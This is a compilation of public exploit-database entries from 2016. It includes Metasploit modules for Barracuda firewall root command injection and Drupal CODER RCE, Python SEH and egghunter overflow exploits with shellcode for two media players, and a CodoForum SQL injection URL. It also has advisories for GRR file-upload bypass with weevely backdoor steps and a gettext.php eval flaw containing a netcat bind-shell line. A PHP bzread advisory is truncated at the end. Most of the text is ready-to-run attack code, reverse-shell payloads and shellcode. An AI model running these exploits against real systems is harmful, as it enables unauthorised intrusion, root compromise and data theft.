else
# Encode payload to ELF file for deployment
elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
# kill stale calls to bdump from previous exploit calls for re-use
run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/m ;printf \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m ; /tmp/m" ))
handler
end
end
end
# Exploit Title: Barracuda Spam & Virus Firewall Post Auth Remote Root Exploit
# Date: 07/21/16
# Exploit Author: xort xort@blacksecurity.org
# Vendor Homepage: https://www.barracuda.com/
# Software Link: https://www.barracuda.com/landing/pages/spamfirewall/
# Version: Spam and Virus Firewall <= 5.1.3.007
# Tested on: Spam & Virus Firewall 5.1.3.007
# CVE : None.
require 'msf/core'
require 'date'
require "base64"
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Barracuda Spam & Virus Firewall (bdump.cgi) Post Auth Root Exploit',
'Description' => %q{
This module exploits a remote command execution vulnerability in
the Barracuda Spam & Virus firewall firmware version <= 5.1.3.007 by exploiting a
vulnerability in the web administration interface.
By sending a specially crafted request it's possible to inject system
commands while escalating to root do to relaxed sudo configuration on the local
machine.
},
'Author' => [ 'xort' ], # disclosure and exploit module
'References' => [ [ 'none', 'none'] ],
'Platform' => [ 'linux'],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
'Targets' => [['Spam Firewall firmware: 5x', {}]],
'DefaultTarget' => 0 ))
register_options(
[
OptString.new('PASSWORD', [ false, 'Password', "admin" ]),
OptString.new('USERNAME', [ true, 'Admin Username', "admin" ]),
OptString.new('CMD', [ false, 'Command to execute', "" ]),
Opt::RPORT(8000),
], self.class)
end
def do_login(username, password_clear, et)
vprint_status( "Logging into machine with credentials...\n" )
# vars
timeout = 1550;
enc_key = Rex::Text.rand_text_hex(32)
# send request
res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/cgi-mod/index.cgi",
'vars_post' =>
{
'password_clear' => password_clear,
'real_user' => "",
'login_state' => "out",
'enc_key' => enc_key,
'et' => et,
'locale' => "en_US",
'user' => username,
'password' => Digest::MD5.hexdigest(username+enc_key),
'enctype' => "MD5",
'password_entry' => "",
}
}, timeout)
# get rid of first yank
password = res.body.split('\n').grep(/(.*)id=\"password\" value=\"(.*)\"/){$2}[0] #change to match below for more exact result
et = res.body.split('\n').grep(/(.*)id=\"et\" value=\"([^\"]+)\"/){$2}[0]
return password, et
end
def run_command(username, password, et, cmd)
# file to replace
sudo_cmd_exec = "/home/product/code/firmware/current/bin/mysql_add_cluster_user.sh"
sudo_run_cmd_1 = "sudo /bin/cp /bin/sh #{sudo_cmd_exec} ; sudo /bin/chmod +x #{sudo_cmd_exec}"
sudo_run_cmd_2 = "sudo #{sudo_cmd_exec} -c "
vprint_status( "Running Command...\n" )
# random filename to dump too + 'tmp' HAS to be here.
b64dumpfile = "/tmp/" + rand_text_alphanumeric(4+rand(4))
# decoder stubs - tells 'base64' command to decode and dump data to temp file
b64decode1 = "echo \""
b64decode2 = "\" | base64 -d >" + b64dumpfile
# base64 - encode with base64 so we can send special chars and multiple lines
cmd = Base64.strict_encode64(cmd)
# Create injection string.
# a) package the base64 decoder with encoded bytes
# b) attach a chmod +x request to make the script created (b64dumpfile) executable
# c) execute decoded base64 dumpfile
injection_string = b64decode1 + cmd + b64decode2 + "; /bin/chmod +x " + b64dumpfile + "; " + sudo_run_cmd_1 + "; " + sudo_run_cmd_2 + b64dumpfile + " ; rm " + b64dumpfile
vprint_status( "sending..." )
res = send_request_cgi({
'method' => 'GET',
'uri' => "/cgi-mod/bdump.cgi",
'headers' =>
{
'Accept' => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",
'Accept-Language' => "en-US,en;q=0.5"
},
'vars_get' => {
'password' => password,
'et' => et,
'user' => username,
'role' => 'admin',
'_dc' => '',
'bdb' => '`' + injection_string + '`',
'locale' => 'en_US'
}
})
end
def exploit
# params
timeout = 1550;
real_user = "";
et = Time.now.to_i
user = datastore['USERNAME']
password = datastore['PASSWORD']
# do login and get password hash
password_hash, et = do_login(user, password, et)
vprint_status("got password hash: #{password_hash}\n")
sleep(2)
# clean up hanging prior request
run_command(user, password_hash, et, ("ps -df|grep bdump|awk '{print $2}' | xargs kill -9"))
sleep(5)
#if no 'CMD' string - add code for root shell
if not datastore['CMD'].nil? and not datastore['CMD'].empty?
cmd = datastore['CMD']
# Encode cmd payload
encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
# kill stale calls to bdump from previous exploit calls for re-use
run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/n ;printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n ; /tmp/n" ))
else
# Encode payload to ELF file for deployment
elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
# kill stale calls to bdump from previous exploit calls for re-use
run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/m ;printf \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m ; /tmp/m" ))
handler
end
end
end
# Exploit Title: [MediaCoder 0.8.43.5852 - .m3u SEH Exploit]
# Exploit Author: [Karn Ganeshen]
# Vendor Homepage: [http://www.mediacoderhq.com]
# Download link: [http://www.mediacoderhq.com/mirrors.html?file=MediaCoder-0.8.45.5852.exe]
# Version: [Current version 0.8.43.58.52]
# Tested on: [Windows Vista SP2]
#
#!/usr/bin/python
total_buf = 5000
# msfvenom -a x86 --platform Windows -p windows/exec CMD=calc.exe -e x86/alpha_upper -b '\x00\x0a\x0d\xff' -f c
# Payload size: 455 bytes
shellcode = ("\x89\xe1\xda\xcc\xd9\x71\xf4\x5e\x56\x59\x49\x49\x49\x49\x43"
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"
"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4d\x38\x4c\x42\x55\x50"
"\x45\x50\x35\x50\x53\x50\x4c\x49\x4b\x55\x46\x51\x59\x50\x55"
"\x34\x4c\x4b\x30\x50\x56\x50\x4c\x4b\x31\x42\x54\x4c\x4c\x4b"
"\x46\x32\x44\x54\x4c\x4b\x32\x52\x47\x58\x34\x4f\x58\x37\x50"
"\x4a\x47\x56\x50\x31\x4b\x4f\x4e\x4c\x37\x4c\x43\x51\x53\x4c"
"\x53\x32\x36\x4c\x51\x30\x59\x51\x58\x4f\x34\x4d\x35\x51\x48"
"\x47\x4a\x42\x5a\x52\x36\x32\x46\x37\x4c\x4b\x56\x32\x52\x30"
"\x4c\x4b\x50\x4a\x57\x4c\x4c\x4b\x50\x4c\x52\x31\x32\x58\x4d"
"\x33\x30\x48\x33\x31\x38\x51\x46\x31\x4c\x4b\x50\x59\x31\x30"
"\x33\x31\x49\x43\x4c\x4b\x30\x49\x55\x48\x5a\x43\x36\x5a\x47"
"\x39\x4c\x4b\x30\x34\x4c\x4b\x45\x51\x39\x46\x36\x51\x4b\x4f"
"\x4e\x4c\x59\x51\x48\x4f\x44\x4d\x53\x31\x58\x47\x56\x58\x4d"
"\x30\x33\x45\x4b\x46\x54\x43\x43\x4d\x4c\x38\x47\x4b\x53\x4d"
"\x37\x54\x54\x35\x5a\x44\x51\x48\x4c\x4b\x30\x58\x57\x54\x35"
"\x51\x4e\x33\x55\x36\x4c\x4b\x54\x4c\x30\x4b\x4c\x4b\x56\x38"
"\x45\x4c\x43\x31\x58\x53\x4c\x4b\x55\x54\x4c\x4b\x35\x51\x48"
"\x50\x4b\x39\x51\x54\x56\x44\x46\x44\x51\x4b\x31\x4b\x43\x51"
"\x46\x39\x30\x5a\x46\x31\x4b\x4f\x4d\x30\x51\x4f\x51\x4f\x31"
"\x4a\x4c\x4b\x52\x32\x4a\x4b\x4c\x4d\x51\x4d\x52\x4a\x43\x31"
"\x4c\x4d\x4c\x45\x4f\x42\x43\x30\x55\x50\x33\x30\x30\x50\x33"
"\x58\x56\x51\x4c\x4b\x32\x4f\x4d\x57\x4b\x4f\x48\x55\x4f\x4b"
"\x4a\x50\x38\x35\x4e\x42\x31\x46\x53\x58\x49\x36\x5a\x35\x4f"
"\x4d\x4d\x4d\x4b\x4f\x4e\x35\x47\x4c\x43\x36\x33\x4c\x35\x5a"
"\x4b\x30\x4b\x4b\x4d\x30\x44\x35\x33\x35\x4f\x4b\x31\x57\x44"
"\x53\x52\x52\x52\x4f\x33\x5a\x33\x30\x36\x33\x4b\x4f\x58\x55"
"\x42\x43\x45\x31\x52\x4c\x35\x33\x56\x4e\x55\x35\x54\x38\x32"
"\x45\x53\x30\x41\x41")
junk = "http:// "
junk += "A"*784
nseh = "\xEB\x06\x90\x90"
seh = "\x38\x78\x01\x66" # PPR - 0x66017838 - libiconv-2.dll
evil = junk + nseh + seh
evil += "\x90"*50 + shellcode
evil += "\x90"*3000
file = open("evil.m3u", "wb")
file.write (evil)
file.close()
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
def initialize(info={})
super(update_info(info,
'Name' => 'Drupal CODER Module Remote Command Execution',
'Description' => %q{
This module exploits a Remote Command Execution vulnerability in
Drupal CODER Module. Unauthenticated users can execute arbitrary command
under the context of the web server user.
CODER module doesn't sufficiently validate user inputs in a script file
that has the php extension. A malicious unauthenticated user can make
requests directly to this file to execute arbitrary command.
The module does not need to be enabled for this to be exploited
This module was tested against CODER 2.5 with Drupal 7.5 installation on Ubuntu server.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nicky Bloor', # discovery
'Mehmet Ince <mehmet@mehmetince.net>' # msf module
],
'References' =>
[
['URL', 'https://www.drupal.org/node/2765575']
],
'Privileged' => false,
'Payload' =>
{
'Space' => 225,
'DisableNops' => true,
'BadChars' => "\x00\x2f",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'netcat netcat-e'
},
},
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => 'Jul 13 2016',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [true, 'The target URI of the Drupal installation', '/']),
OptAddress.new('SRVHOST', [true, 'Bogus web server host to receive request from target and deliver payload']),
OptPort.new('SRVPORT', [true, 'Bogus web server port to listen'])
]
)
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php'),
)
if res && res.code == 200
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end
def on_request_uri(cli, _request)
print_status("Incoming request detected...")
p = ''
p << 'a:6:{s:5:"paths";a:3:{s:12:"modules_base";s:8:"../../..";s:10:"files_base";s:5:"../..";s:14:"libraries_base";s:5:"../..";}'
p << 's:11:"theme_cache";s:16:"theme_cache_test";'
p << 's:9:"variables";s:14:"variables_test";'
p << 's:8:"upgrades";a:1:{i:0;a:2:{s:4:"path";s:2:"..";s:6:"module";s:3:"foo";}}'
p << 's:10:"extensions";a:1:{s:3:"php";s:3:"php";}'
p << 's:5:"items";a:1:{i:0;a:3:{s:7:"old_dir";s:12:"../../images";'
p << 's:7:"new_dir";s:'
p << (payload.encoded.length + 14).to_s
p << ':"f --help && '
p << payload.encoded
p << ' #";s:4:"name";s:4:"test";}}}'
print_status("Sending payload...")
send_response(cli, p)
end
def exploit
start_service
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php'),
'encode_params' => false,
'vars_get' => {
'file' => get_uri
}
)
stop_service
end
end
1. Advisory Information
========================================
Title : CodoForum <= 3.2.1 Remote SQL Injection Vulnerability
Vendor Homepage : https://codoforum.com/
Remotely Exploitable : Yes
Versions Affected : Prior to 3.2.1
Tested on : Ubuntu (Apache) | PHP 5.5.9 | MySQL 5.5
Vulnerability : SQL Injection (Critical/High)
Date : 23.07.2016
Author : Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
2. CREDIT
========================================
This vulnerability was identified during penetration test by Yakir Wizman
3. Description
========================================
The script that parses the request URL and displays user profile depending on
the retrieved id does not use proper input validation against SQL injection.
4. TECHNICAL DETAILS & POC
========================================
SQL Injection Proof of Concept
----------------------------------------
Example for fetching current user database:
http://server/forum/index.php?u=/user/profile/1%20AND%20(SELECT%202*(IF((SELECT%20*%20FROM%20(SELECT%20CONCAT((MID((IFNULL(CAST(CURRENT_USER()%20AS%20CHAR),0x20)),1,451))))s),%208446744073709551610,%208446744073709551610)))
5. SOLUTION
========================================
Upgrade to the latest version v3.4 build 19
# Exploit Title: [CoolPlayer+ Portable build 2.19.6 - .m3u Stack Overflow [Egghunter+ASLR bypass]]
# Exploit Author: [Karn Ganeshen]
# Download link: [https://sourceforge.net/projects/portableapps/files/CoolPlayer%2B%20Portable/CoolPlayerPlusPortable_2.19.6.paf.exe/download?use_mirror=liquidtelecom]
# Version: [Current version 2.19.6]
# Tested on: [Windows Vista Ultimate SP2]
#
# Couple of bof exploits for older versions already on EDB:
# https://www.exploit-db.com/search/?action=search&description=coolplayer
#!/usr/bin/python
total_buf = 2000
filename="evil.m3u"
# msfvenom -p windows/exec cmd=calc.exe -b \x00\x0a\x0c\0d EXITFUN=thread -f c
# Payload size: 220 bytes
shellcode = ("\xdb\xdc\xd9\x74\x24\xf4\x58\xbb\x9a\xc7\xdb\xe9\x31\xc9\xb1"
"\x31\x31\x58\x18\x83\xe8\xfc\x03\x58\x8e\x25\x2e\x15\x46\x2b"
"\xd1\xe6\x96\x4c\x5b\x03\xa7\x4c\x3f\x47\x97\x7c\x4b\x05\x1b"
"\xf6\x19\xbe\xa8\x7a\xb6\xb1\x19\x30\xe0\xfc\x9a\x69\xd0\x9f"
"\x18\x70\x05\x40\x21\xbb\x58\x81\x66\xa6\x91\xd3\x3f\xac\x04"
"\xc4\x34\xf8\x94\x6f\x06\xec\x9c\x8c\xde\x0f\x8c\x02\x55\x56"
"\x0e\xa4\xba\xe2\x07\xbe\xdf\xcf\xde\x35\x2b\xbb\xe0\x9f\x62"
"\x44\x4e\xde\x4b\xb7\x8e\x26\x6b\x28\xe5\x5e\x88\xd5\xfe\xa4"
"\xf3\x01\x8a\x3e\x53\xc1\x2c\x9b\x62\x06\xaa\x68\x68\xe3\xb8"
"\x37\x6c\xf2\x6d\x4c\x88\x7f\x90\x83\x19\x3b\xb7\x07\x42\x9f"
"\xd6\x1e\x2e\x4e\xe6\x41\x91\x2f\x42\x09\x3f\x3b\xff\x50\x55"
"\xba\x8d\xee\x1b\xbc\x8d\xf0\x0b\xd5\xbc\x7b\xc4\xa2\x40\xae"
"\xa1\x5d\x0b\xf3\x83\xf5\xd2\x61\x96\x9b\xe4\x5f\xd4\xa5\x66"
"\x6a\xa4\x51\x76\x1f\xa1\x1e\x30\xf3\xdb\x0f\xd5\xf3\x48\x2f"
"\xfc\x97\x0f\xa3\x9c\x79\xaa\x43\x06\x86")
# Egghunter - 32 bytes
eggh = ("\x66\x81\xca\xff\x0f\x42\x52\x6a"
"\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x54\x30\x30\x57\x8b\xfa"
"\xaf\x75\xea\xaf\x75\xe7\xff\xe7")
# EIP overwrite appears to depend upon location from where the evil file is loaded from
# Tested from location - C:\
# For e.g. offset will be different if file is loaded from C: (260) vs C:\Windows\ (249)
junk = "A"*28
eip = "\xa1\x99\x42\x00" # 0x004299a1 jmp ebx - coolplayer+.exe [noaslr,norebase,nosafeseh]
evil = junk + eggh + "\x90"*200 + eip + "\x90"*18 + "T00WT00W" + shellcode + "\x90"*1490
file = open(filename , 'w')
file.write(evil)
file.close()
# Exploit Title: GRR <= 3.0.0-RC1 (all versions) RCE with privilege escalation through file upload filter bypass (authenticated)
# Date: January 7th, 2016
# Exploit Author: kmkz (Bourbon Jean-marie) | @kmkz_security
# Vendor Homepage: http://grr.devome.com/fr/
# Software Link: http://grr.devome.com/fr/telechargement/category/3-versions-patch?download=7:grr-3-0-0-rc1
# Version: 3.0.0-RC1
# Tested on: Windows 2003 R2, PHP 5.2.6
# Dork: inurl:/grr/ intext:réservation intitle:"GRR"
# CVSS score: 9.9
# OVE ID: OVE-20160705-0044
# CVE ID: Not Requested
# Credits: http://www.kaizendo.fr/php-how-to-manage-uploaded-image-in-secure-way/
# Fix: https://github.com/JeromeDevome/GRR/blob/master/admin/admin_config1.php
I. APPLICATION
======================================================================================
GRR is an open source resources manager tool used in many french public
institutions (not only!).
It permit for example to manage rooms reservations, and so much more.
II. ADVISORY
======================================================================================
The application allows administrators to change the enterprise's logo
uploading a new image with .png,.jpg or .gif extension only.
Once uploaded, image name is "splitted" in an array and renamed with the
name "logo" followed by the extention saved as 2nd array's element.
This file called for example "logo.jpg" is also "chmoded" as 0666 permission
and directly accessible in image folder (img_grr by default) by all users.
Besides, the application does only a basic conditional php test
on the extension of the uploaded file.
It's possible for an attacker to add a second extension that will be
used when the image will be renamed in order to bypass this basic filter
(double extension upload filter bypassing).
So, a file called backdoor.php.jpg will be renamed as logo.php with
chmod 0666 permissions and could be used by attacker to gain more privileges
on the targeted server (privesc due to bad file permissions and RCE).
To trigger this vulnerability it is necessary to have an administrator
account on the GRR application.
This vulnerability is a combination of 3 issues:
- predictable uploaded file names and path
- upload of any kind of file
- bad files permission when we upload this file that permit us to gain
privilegied access.
Note that it could be "dorkable" in order to find targets ... and sometimes
with trivial admin credentials ;-).
III. VULNERABLE CODE
======================================================================================
snip..
// Enregistrement du logo
$doc_file = isset($_FILES["doc_file"]) ? $_FILES["doc_file"] : NULL;
if (preg_match("`\.([^.]+)$`", $doc_file['name'], $match))
{
$ext = strtolower($match[1]);
if ($ext != 'jpg' && $ext != 'png' && $ext != 'gif') // Vulnerability !! Extension are the only "security" test on submitted files !!
{
$msg .= "L\'image n\'a pas pu être enregistrée : les seules extentions autorisées sont gif, png et jpg.\\n";
$ok = 'no';
}
else
{
$dest = '../images/';
$ok1 = false;
if ($f = @fopen("$dest/.test", "w"))
{
@fputs($f, '<'.'?php $ok1 = true; ?'.'>'); // Hem...
@fclose($f);
include("$dest/.test");
}
if (!$ok1)
{
$msg .= "L\'image n\'a pas pu être enregistrée : problème d\'écriture sur le répertoire \"images\". Veuillez signaler ce problème à l\'administrateur du serveur.\\n";
$ok = 'no';
}
else
{
$ok1 = @copy($doc_file['tmp_name'], $dest.$doc_file['name']);
if (!$ok1)
$ok1 = @move_uploaded_file($doc_file['tmp_name'], $dest.$doc_file['name']);
if (!$ok1)
{
$msg .= "L\'image n\'a pas pu être enregistrée : problème de transfert. Le fichier n\'a pas pu être transféré sur le répertoire IMAGES. Veuillez signaler ce problème à l\'administrateur du serveur.\\n";
$ok = 'no';
}
else
{
$tab = explode(".", $doc_file['name']);
$ext = strtolower($tab[1]);
if ($dest.$doc_file['name']!=$dest."logo.".$ext)
{
if (@file_exists($dest."logo.".$ext))
@unlink($dest."logo.".$ext);
rename($dest.$doc_file['name'],$dest."logo.".$ext); // Vulnerability: if filename is "backdoor.php.jpg" we rename it as "logo.php" !!
}
@chmod($dest."logo.".$ext, 0666); // Vulnerability: why chmod 0666 on this f****** file!?!?
$picture_room = "logo.".$ext;
if (!Settings::set("logo", $picture_room))
{
$msg .= "Erreur lors de l'enregistrement du logo !\\n";
$ok = 'no';
}
}
}
}
snip...
IV. PROOF OF CONCEPT
======================================================================================
Generate backdoor:
kmkz@Tapz:~# weevely generate pass123 /tmp/3lrvs.php
Generated backdoor with password 'pass123' in '/tmp/3lrvs.php' of 1486 byte size.
kmkz@Tapz:~# mv /tmp/3lrvs.php /tmp/3lrvs.php.jpg
Login as admin and upload this new 'logo' > Administration > logo
Enjoy your shell!
kmkz@Tapz:~# weevely http://server/images/logo.php pass123
[+] weevely 3.2.0
[+] Target: server:F:\server\grr\images
[+] Session: /kmkz/.weevely/sessions/laboratoire.target.fr/logo_1.session
[+] Shell: System shell
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
weevely> whoami
autorite nt\system
V. RISK
======================================================================================
By uploading a script, an attacker may be able to execute arbitrary code
on the server with elevated privileges.
This flaw may compromise the integrity of the system
(with access to sensitive informations, network shares...) and it may conduce
to full information system's compromise using pivots techniques and imagination!
VI. VERSIONS AFFECTED
======================================================================================
GRR 3.0.0-RC1 is vulnerable (and all previous versions)
VII. TIMELINE
======================================================================================
December 17th, 2015: Vulnerability identification
January 7th, 2016: Vendor and project developers notification
January 11th, 2016: Project developers response
January 15th, 2016: Patch release
January 17th, 2016: Public disclosure
VII. LEGAL NOTICES
======================================================================================
The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or misuse of this advisory.
[CVE-2016-6175] gettext.php <= 1.0.12 unauthenticated code execution with POTENTIAL privileges escalation
# Date: June 25th, 2016
# Author: kmkz (Bourbon Jean-marie) <mail.bourbon@gmail.com> | @kmkz_security
# Project Homepage: https://launchpad.net/php-gettext/
# Download: https://launchpad.net/php-gettext/trunk/1.0.12/+download/php-gettext-1.0.12.tar.gz
# Version: 1.0.12 (latest release)
# Tested on: Linux Debian, PHP 5.6.19-2+b1
# CVSS: 7.1
# OVE ID: OVE-20160705-0004
# CVE ID: CVE-2016-6175
# OSVDB ID: n/a
# Thanks:
Lars Michelsen from NagVis project where this bug was discovered and
Danilo Segan from gettext.php team project for their reactivity and professionalism
# Credits:
https://bugs.launchpad.net/php-gettext/+bug/1606184
https://github.com/NagVis/nagvis/commit/4fe8672a5aec3467da72b5852ca6d283c15adb53
# Fixes:
https://github.com/NagVis/nagvis/blob/4fe8672a5aec3467da72b5852ca6d283c15adb53/share/server/core/ext/php-gettext-1.0.12/gettext.php
https://bugs.launchpad.net/php-gettext/+bug/1606184
gettext.php <= 1.0.12 (latest) local/remote code execution with POTENTIAL privileges escalation issue
I. APPLICATION
This library provides PHP functions to read MO files even when gettext is not compiled in or when appropriate locale is not present on the system.
This issue was discovered by auditing Nagvis project source code, however NagVis is not impacted by the following issue.
NagVis is a visualization addon for the well known network managment system Nagios.
NagVis can be used to visualize Nagios Data, e.g. to display IT processes like a mail system or a network infrastructure.
II. ADVISORY
A possible remote (or local) code execution were identified in the gettext.php file allowing an attacker to gain access on the nagvis host system and/or gain application's privileges throught a specially crafted .mo language file.
The $string variable is not sufficiently sanitized before to be submitted to eval() function (which is dangerous) in select_string() function causing the security issue.
III. VULNERABILITY DESCRIPTION
The gettext_reader() funtion try to test magic number that need to match with .mo files :
$MAGIC1 = "\x95\x04\x12\xde";
$MAGIC2 = "\xde\x12\x04\x95";
If it seems correct then we'll continue.
We then extract forms from .mo file's header through get_plural_forms() function and check them with a deprecated (since php 5.3.0 because it can be easily bypassed by adding a Null Byte) eregi() regexp function in order to valid they match the following pattern:
plural-forms: ([^\n]*)\n
(This regular expression matching have no effect on our payload)
Next step will be to sanitize the obtained expression string before to practice the fatal eval() on this one.
Here is the impacted code snippet :
snip...
if (eregi("plural-forms: ([^\n]*)\n", $header, $regs))
$expr = $regs[1];
else
$expr = "nplurals=2; plural=n == 1 ? 0 : 1;";
$this->pluralheader = $this->sanitize_plural_expression($expr); // The vulnerable function!!
}
snip...
The comments presents at the beginning of sanitize_plural_expression() function explain that this one is here to prevent the eval() function attacks called later.
Comments are :
/** Sanitize plural form expression for use in PHP eval call.
@access private
@return string sanitized plural form expression**/
In fact, the security is guaranteed by a "preg_replace" that not permit us to inject specials chars.
snip...
function sanitize_plural_expression($expr) {
// Get rid of disallowed characters.
$expr = preg_replace('@[^a-zA-Z0-9_:;\(\)\?\|\&=!<>+*/\%-]@', '', $expr); // « sanitizer »
// Add parenthesis for tertiary '?' operator.
$expr .= ';';
$res = '';
$p = 0;
for ($i = 0; $i < strlen($expr); $i++) { // indentation ?
$ch = $expr[$i];
switch ($ch) {
case '?':
$res .= ' ? (';
$p++;
break;
case ':':
$res .= ') : (';
break;
case ';':
$res .= str_repeat( ')', $p) . ';';
$p = 0;
break;
default:
$res .= $ch;
}
}
return $res;
}
snip...
Code snippet from the vulnerable function that execute eval() on the « sanitized string :
snip...
$string = $this->get_plural_forms();
$string = str_replace('nplurals',"\$total",$string);
$string = str_replace("n",$n,$string);
$string = str_replace('plural',"\$plural",$string);
$total = 0;
$plural = 0;
eval("$string"); // eval called .... launch my shell baby !
snip...
However, for example (but not only!) we can call system() function with « sh » parameter in order to launch a /bin/sh command on the targeted system and allowing us to gain an interactive shell with application privileges on it.
A real scenario could be that a real attacker overwrites languages files located in the /nagvis-1.8.5/share/frontend/nagvis-js/locale/ directory, in an internal repository, a Docker shared folder or any other folder.
He now just have to wait or to execute the payload himself to obtain his shell, that's why this vulnerability is not so harmless !
Note :
Apart from that we could imagine that the attacker transform the $expr variable to obtain an interactive remote shell without eval() and with (maybe) more privileges like this :
$expr= (`nc -l -p 1337 -e /bin/sh`); // proof of concept and screenshots joined to this advisory
Like a Perl developer could say:
« there is more than one way to do it »
IV. PROOF OF CONCEPT
Following PHP code reproduce the exploitation concept base on the 1.0.9 version
(without a crafted .mo file and joined with this advisory).
<?php
//$expr= ("system(sh)"); // payload1
//$expr= (`nc -l -p 1337 -e /bin/sh`); // payload that is not eval-dependant
$expr=("phpinfo()"); // payload2 (PoC)
//$expr = preg_replace('@[^a-zA-Z0-9_:;\(\)\?\|\&=!<>+*/\%-]@', '', $expr);// vuln
$expr = preg_replace('@[^a-zA-Z0-9_:;\(\)\?\|\&=!<>+*/\%-]@', '', $expr);/
$expr .= ';';
// Add parenthesis for tertiary '?' operator.
$expr .= ';';
$res = '';
$p = 0;
for ($i = 0; $i < strlen($expr); $i++) {
$ch = $expr[$i];
switch ($ch) {
case '?':
$res .= ' ? (';
$p++;
break;
case ':':
$res .= ') : (';
break;
case ';':
$res .= str_repeat( ')', $p) . ';';
$p = 0;
break;
default:
$res .= $ch;
}
}
// Vulnerable function :
$n= (1);
$total=("1000");
if (!is_int($n)) {
throw new InvalidArgumentException(
"Select_string only accepts integers: " . $n); // test sur la version 2 de gettext.php
}
$string = str_replace('nplurals',"\$total",$res);
$string = str_replace("n",$res,$res);
$string = str_replace('plural',"\$plural",$res);
eval("$string");
?>
V. RECOMMENDATIONS
As explained in the associated « bug track », it was assumed that PO and MO files would come from untrusted translators.
Check the permissions on PO/MO files in order to ensure the provenance and the fact that is only accessible from trusted parties.
The project's members are writing a new version that will patch this issue definitively, thank you to respect their work and to apply this temporary fix.
VI. VERSIONS AFFECTED
This issue affect the latest GETTEXT .PHP version and were found in latest stable NAGVIS (1.8.5) version.
It could affect the a lot of web application and/or many website as long as it will not be updated.
VII. TIMELINE
June 21th, 2016: Vulnerability identification
June 21th, 2016: Nagvis project developers and gettext.php developers notification
June 22th, 2016: Nagvis project developers response
June 25th, 2016: Nagvis Patch release (even if not really affected)
June 27th, 2016: Gettext.php team response (from Danilo ?egan), exchange started
July 5th, 2016: CVE request ID (mitre) and OVE ID request
July 7th, 2016: CVE-2016-6175 attributed by MITRE
July 25th, 2016: Public disclosure
VIII. LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or misuse of this advisory.
'''
PHP 7.0.8, 5.6.23 and 5.5.37 does not perform adequate error handling in
its `bzread()' function:
php-7.0.8/ext/bz2/bz2.c
,----
| 364 static PHP_FUNCTION(bzread)
| 365 {
| ...
| 382 ZSTR_LEN(data) = php_stream_read(stream, ZSTR_VAL(data), ZSTR_LEN(data));
| 383 ZSTR_VAL(data)[ZSTR_LEN(data)] = '\0';
| 384
| 385 RETURN_NEW_STR(data);
| 386 }
`----
php-7.0.8/ext/bz2/bz2.c
,----
| 210 php_stream_ops php_stream_bz2io_ops = {
| 211 php_bz2iop_write, php_bz2iop_read,
| 212 php_bz2iop_close, php_bz2iop_flush,
| 213 "BZip2",
| 214 NULL, /* seek */
| 215 NULL, /* cast */
| 216 NULL, /* stat */
| 217 NULL /* set_option */
| 218 };
`----
php-7.0.8/ext/bz2/bz2.c
,----
| 136 /* {{{ BZip2 stream implementation */
| 137
| 138 static size_t php_bz2iop_read(php_stream *stream, char *buf, size_t count)
| 139 {
| 140 struct php_bz2_stream_data_t *self = (struct php_bz2_stream_data_t *)stream->abstract;
| 141 size_t ret = 0;
| 142
| 143 do {
| 144 int just_read;
| ...
| 148 just_read = BZ2_bzread(self->bz_file, buf, to_read);
| 149
| 150 if (just_read < 1) {
| 151 stream->eof = 0 == just_read;
| 152 break;
| 153 }
| 154
| 155 ret += just_read;
| 156 } while (ret < count);
| 157
| 158 return ret;
| 159 }
`----
The erroneous return values for Bzip2 are as follows:
bzip2-1.0.6/bzlib.h
,----
| 038 #define BZ_SEQUENCE_ERROR (-1)
| 039 #define BZ_PARAM_ERROR (-2)
| 040 #define BZ_MEM_ERROR (-3)
| 041 #define BZ_DATA_ERROR (-4)
| 042 #define BZ_DATA_ERROR_MAGIC (-5)
| 043 #define BZ_IO_ERROR (-6)
